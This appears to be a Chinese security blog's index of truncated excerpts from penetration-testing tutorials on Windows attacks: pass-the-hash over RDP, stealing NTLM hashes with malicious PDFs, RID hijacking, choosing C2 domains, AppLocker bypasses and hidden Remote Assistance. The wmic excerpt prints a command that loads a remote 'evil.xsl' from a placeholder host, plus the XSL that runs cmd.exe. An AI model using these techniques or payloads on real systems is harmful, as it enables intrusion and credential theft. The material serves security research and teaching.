-
渗透技巧——Pass the Hash with Remote Desktop(Restricted Admin mode)
0x00 前言 在渗透测试中，如果获得了某个用户的NTLM hash，我们可以尝试使用Pass the hash的方法对WMI和SMB服务进行登录，对于远程桌面服务同样可以进行利用。 本文将要介绍开启Restricted Admin mode时，使用Pass the hash对远程桌面进行登录的方法 关于Pass the hash的利用可参考之前的文章： 《域渗透——Pass The Hash的实现》 0x01 简介 本文将要介绍以下内容： Restricted Admin mode介绍 Pass the Hash with Remote Desktop(Restricted Admin mode)的实现方法 0x02 Restricted Admin mode简介 官方说明： https://blogs.technet.microsoft.com/kfalde/2013/08/14/restricted-admin-mode-for-rdp-in-windows-8-1-2012-r2/ 本节参照官方说明，加入个人理解，如果有误，欢迎纠正 Restricted Admin mode，直译为受限管理模式，主要功能是使得凭据不会暴露在目标系统中 适用系统 Windows 8.1和Windows Server 2012 R2默认支持该功能 Windows 7和Windows Server...
-
渗透技巧——利用PDF文件获取Net-NTLM hash
0x00 前言 今年4月，来自CheckPoint的Assaf Baharav公开了一个方法，利用PDF文件的正常功能够窃取Windows系统的NTLM Hash。 具体的说，当用户使用PDF阅读器打开一份恶意的PDF文档，该PDF会向远程SMB服务器发出请求，如果该远程SMB服务器对数据包进行抓取，就能够获得用户Windows系统的Net NTLM Hash，通过进一步破解就有可能获得用户系统的明文密码。 然而Microsoft、Adobe和FoxIT对此没有进行针对性的修复。 这个利用方法成功的条件有哪些？没有修复的原因又是什么呢？ 本文将要站在技术研究的角度进行介绍 0x01 简介 本文将要介绍以下内容： 原理和利用思路 测试POC，生成一个恶意PDF文件 分析PDF文件格式 编写脚本实现修改正常PDF文件 开源代码 0x02 原理和利用思路 参考资料： https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/ 原理 PDF规范允许为GoTobe和GoToR条目加载远程内容 直观的理解： PDF文件可以添加一项功能，请求远程SMB服务器的文件 而我们知道，Windows系统下SMB协议有一个特性：客户端在连接SMB服务器时，默认先使用本机的用户名和密码hash尝试登录，通信协议默认为Net-NTLMv1或者Net-NTLMv2 工具Hashcat提供了字典和暴力破解两种方法来还原Net-NTLMv1和Net-NTLMv2协议中的明文密码 只要在SMB服务器上进行抓包，提取关键数据，就能够获得Hashcat需要的参数，尝试破解 抓包可选择WireShark，对获得的pcap包进行解析，提取关键数据。如果使用Responder可自动提取出关键数据。 之前写过的相关文章： 《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》 《渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash》 《渗透技巧——利用图标文件获取连接文件服务器的NTLMv2 Hash》 《Windows下的密码hash——Net-NTLMv1介绍》 类似的利用思路： 可参考以下文章： https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/ 介绍了多种文件格式的利用方法 利用思路 构造一份特殊的PDF文档，请求SMB服务器的一份文件 在SMB服务器上抓包 用户使用PDF阅读器打开PDF文档时，Windows系统将当前用户的Net NTLM Hash发送到SMB服务器...
-
渗透技巧——Windows帐户的RID Hijacking
0x00 前言 在之前的文章《渗透技巧——Windows系统的帐户隐藏》介绍过利用帐户克隆建立隐藏帐户的技巧，是通过复制目标帐户对应注册表项F键的值，使得隐藏帐户获得了相同的权限。 如果换一种思路，将目标帐户对应注册表项F键的部分内容覆盖已有帐户，那么已有帐户能否获得目标帐户的权限呢？ 这就是本文将要介绍的方法——RID Hijacking 注： 该方法最早公开于2017年12月，地址如下： http://csl.com.co/rid-hijacking/ 0x01 简介 本文将要介绍以下内容： RID劫持的方法 编写脚本的实现思路 利用分析 防御检测 0x02 相关概念 SID 全称Security Identifiers(安全标识符)，是Windows系统用于唯一标识用户或组的可变长度结构 官方说明地址： https://msdn.microsoft.com/en-us//library/windows/desktop/aa379594(v=vs.85).aspx SID包含以下信息： The revision level of the SID structure 48-bit identifier authority value relative identifier (RID) 实例 Windows命令行执行whoami /all可获得当前用户的SID，如下图 SID为： S-1-5-21-2752016420-1571072424-526487797-1001 S表示该字符串是SID 1表示SID的版本号 5-21-2752016420-1571072424-526487797对应ID authority 1001表示RID RID Windows系统帐户对应固定的RID：...
-
渗透基础——选择一个合适的C2域名
0x00 前言 在渗透测试中，常常需要选择一个合适的域名作为c2服务器，那么什么样的域名才能称之为”合适”呢？ expireddomains.net也许能够给你一些思路。 通过expireddomains.net能够查询到最近过期或删除的域名，更重要的是它提供了关键词搜索功能。 本文将要测试过期域名自动化搜索工具CatMyFish，分析原理，修正其中的bug，使用python编写一个爬虫，获得所有搜索结果。 0x01 简介 本文将要介绍以下内容： 测试过期域名自动化搜索工具CatMyFish 分析原理修正CatMyFish中的bug 爬虫开发思路和实现细节 开源python实现的爬虫代码 0x02 测试过期域名自动化搜索工具CatMyFish 下载地址： https://github.com/Mr-Un1k0d3r/CatMyFish 主要实现流程 用户输入关键词 脚本将搜索请求发送到expireddomains.net进行查询 获得域名列表 脚本将域名发送到Symantec BlueCoat进行查询 获取每个域名的类别 expireddomains.net地址： https://www.expireddomains.net/ Symantec BlueCoat地址: https://sitereview.bluecoat.com/ 实际测试 需要安装python库beautifulsoup4 pip install beautifulsoup4 尝试搜索关键词microsoft，脚本报错，如下图 脚本对结果的解析出现了问题 于是，按照CatMyFish的实现思路自己编写脚本测试一下 访问expireddomains.net查询关键词microsoft，代码如下: import urllib import urllib2 from bs4 import BeautifulSoup url = "https://www.expireddomains.net/domain-name-search/?q=microsoft" req...
-
利用wmic调用xsl文件的分析与利用
0x00 前言 Casey Smith@subTee在博客分享的一个技巧，使用wmic能够从本地或从URL调用XSL（可扩展样式表语言）脚本。这个发现很有用，不仅可以作为一种白名单绕过的方法，而且可以作为payload来使用(从URL调用XSL脚本，利用XSL执行exe、shellcode、powershell脚本)。 本文将要对该项技术进行测试，结合自己的经验对其扩展，分享一个后门利用的思路，介绍同XXE漏洞结合的使用方法。 博客地址： https://subt0x11.blogspot.ca/2018/04/wmicexe-whitelisting-bypass-hacking.html?m=1 0x01 简介 本文将要介绍以下内容： 测试Casey Smith的方法 脚本分析，分析后门利用思路 编写后门利用脚本 同XXE漏洞的结合 0x02 测试Casey Smith的方法 本地： wmic process list /FORMAT:evil.xsl 远程： wmic os get /FORMAT:"https://example.com/evil.xsl" xsl文件内容如下： <?xml version='1.0'?> <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0"> <output method="text"/> <ms:script implements-prefix="user" language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe"); ]]> </ms:script> </stylesheet>...
-
CIA Hive Beacon Infrastructure复现2——使用Apache mod_rewrite实现https流量分发
0x00 前言 上篇文章介绍了使用Apache的mod_rewrite模块来实现http流量分发，本文将在此基础上介绍https的流量分发，对客户端的证书进行判断，若证书有效，才会将流量转发至真实服务器。 0x01 简介 本文将要介绍以下内容： Windows系统下配置Apache开启ssl Ubuntu系统下配置Apache开启ssl 使用openssl生成证书的方法和难点 Apache Https双向认证的配置 实现https流量分发的过程 0x02 Windows系统下配置Apache开启ssl 1、下载包含openssl的Apache 地址： http://httpd.apache.org/download.cgi 选择需要的版本，测试版本Apache 2.4.33，下载地址： https://www.apachehaus.com/cgi-bin/download.plx?dli=wUWZ1allWW00kej9iUG5UeJVlUGRVYRdnWzQmW 2、安装 解压后通过命令行安装： cd \Apace24\bin httpd -k install 3、配置httpd.conf 位于\Apace24\conf\httpd.conf (1) 定位： #LoadModule ssl_module modules/mod_ssl.so 去掉# (2) 定位： <IfModule ssl_module> Include conf/extra/httpd-ahssl.conf SSLRandomSeed startup builtin SSLRandomSeed connect builtin </IfModule> 将Include conf/extra/httpd-ahssl.conf改为Include...
-
CIA Hive Beacon Infrastructure复现1——使用Apache mod_rewrite实现http流量分发
0x00 前言 2017年11月9日维基解密公布一个代号为Vault8的文档，包含服务器远程控制工具Hive的源代码和开发文档。开发文档中的框架图显示Hive支持流量分发功能，若流量有效，转发至Honeycomb服务器，若流量存在问题，转发至Cover Server。 本文仅站在技术研究的角度，尝试使用Apache的mod_rewrite模块实现http流量分发，完成相同的目标。 标记后的框架图如下： 之前的分析文章： 《CIA Hive测试指南——源代码获取与简要分析》 0x01 简介 本文将要介绍以下内容： Windows系统下安装配置Apache mod_rewrite Ubuntu系统下安装配置Apache mod_rewrite 规则配置技巧与实例 根据判定条件实现http流量分发 0x02 Windows系统下安装配置Apache mod_rewrite 1、下载Apache 地址： http://httpd.apache.org/download.cgi 选择需要的版本，测试版本Apache 2.4.33，下载地址： https://www.apachehaus.com/cgi-bin/download.plx?dli=wUWZ1allWW00kej9iUG5UeJVlUGRVYRdnWzQmW 2、安装 解压后通过命令行安装： cd \Apace24\bin httpd -k install 3、开启mod_rewrite模块 编辑文件： \Apace24\conf\httpd.conf 找到#LoadModule rewrite_module modules/mod_rewrite.so，去掉# 4、开启支持.htaccess文件 编辑文件： \Apace24\conf\httpd.conf 定位如下位置： DocumentRoot "${SRVROOT}/htdocs" <Directory "${SRVROOT}/htdocs"> # #...
-
利用Assembly Load & LoadFile绕过Applocker的分析总结
0x00 前言 最近bohops在文章《Executing Commands and Bypassing AppLocker with PowerShell Diagnostic Scripts》中介绍了利用CL_LoadAssembly.ps1绕过Applocker的方法，Casey Smith早在SchmooCon 2015也提到了这个方法。本文将要对他们的两个实现方法进行复现，分析细节，比较区别，进而总结利用思路。 0x01 简介 本文将要介绍以下内容： 复现bohops的方法 复现Casey Smith的方法 细节分析 总结利用思路 0x02 复现bohops的方法 测试系统： Win7 x86 开启Applocker，开启方法可参考文章《Bypass Windows AppLocker》 开发工具: VS2012 1、新建c#控制台工程ConsoleApplication5，默认代码如下： using System; using System.Collections.Generic; using System.Text; namespace ConsoleApplication5 { class Program { static void Main(string[] args) { }...
-
渗透技巧——Windows远程协助的隐蔽执行
0x00 前言 对于Windows系统，经常会用到远程桌面服务，通过界面对系统进行远程管理。 这其中存在一个不足：使用远程桌面服务进行远程登录(使用另一用户或是踢掉当前用户)，无法获取到当前用户的系统状态。 如果想要查看(甚至是操作)当前用户的桌面，有什么好办法呢？ 虽然我们可以通过编写程序来实现界面操作（捕获桌面信息，压缩传输，发送鼠标键盘消息等），但是如果能够使用Windows系统的默认功能，岂不是更好？ 答案就是Windows系统的远程协助。 0x01 简介 本文将要介绍以下内容： 远程协助的基本操作 命令行下操作 编写c++程序隐藏界面，发送键盘消息，模拟用户点击确认 完整利用流程 检测方法 0x02 远程协助的基本操作 1、开启远程协助功能 System Properties -> Remote 选中Allow Remote Assistance connections to this computer 如下图 2、添加防火墙规则，允许远程协助的通信端口 Windows Firewall -> Allowed Programs 选中Remote Assistance 如下图 3、启动界面程序 运行 -> msra.exe 4、配置本机为服务端，请求其他人协助 选中Invite someone you trust to help...
-
Windows下的密码hash——Net-NTLMv1介绍
0x00 前言 在之前的文章《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》分别对NTLM hash和Net-NTLMv2 hash做了介绍，对于Net-NTLMv2的上一个版本Net-NTLMv1，在安全性上相对来说更脆弱，具体脆弱在哪里呢？本文将要进行介绍 0x01 简介 本文将要介绍以下内容： Net-NTLMv1的加密方法 Net-NTLMv1的破解思路 Net-NTLMv1的利用思路 0x02 Net-NTLMv1的加密方法 对比Net-NTLMv2，Net-NTLMv2的加密流程如下： 客户端向服务器发送一个请求 服务器接收到请求后，生成一个16位的Challenge，发送回客户端 客户端接收到Challenge后，使用登录用户的密码hash对Challenge加密，作为response发送给服务器 服务器校验response Net-NTLMv1的加密流程如下： 客户端向服务器发送一个请求 服务器接收到请求后，生成一个8位的Challenge，发送回客户端 客户端接收到Challenge后，使用登录用户的密码hash对Challenge加密，作为response发送给服务器 服务器校验response 两者的流程相同，但加密算法不同，Net-NTLMv1相对脆弱 Net-NTLMv1 response的计算方法比较简单，方法如下(目前LM hash很少接触，不考虑)： 将用户的NTLM hash分成三组，每组7比特(长度不够末尾填0)，作为3DES加密算法的三组密钥，加密Server发来的Challenge 详情可参考： http://davenport.sourceforge.net/ntlm.html#theNtlmResponse 0x03 Net-NTLMv1的破解思路 1、捕获Net-NTLMv1数据包，提取关键数据，使用hashcat进行字典破解 服务器： 系统： Server2008 x64 IP： 192.168.62.144 登录用户名： log1 登录密码： logtest123! 客户端： 系统： Win7 x64...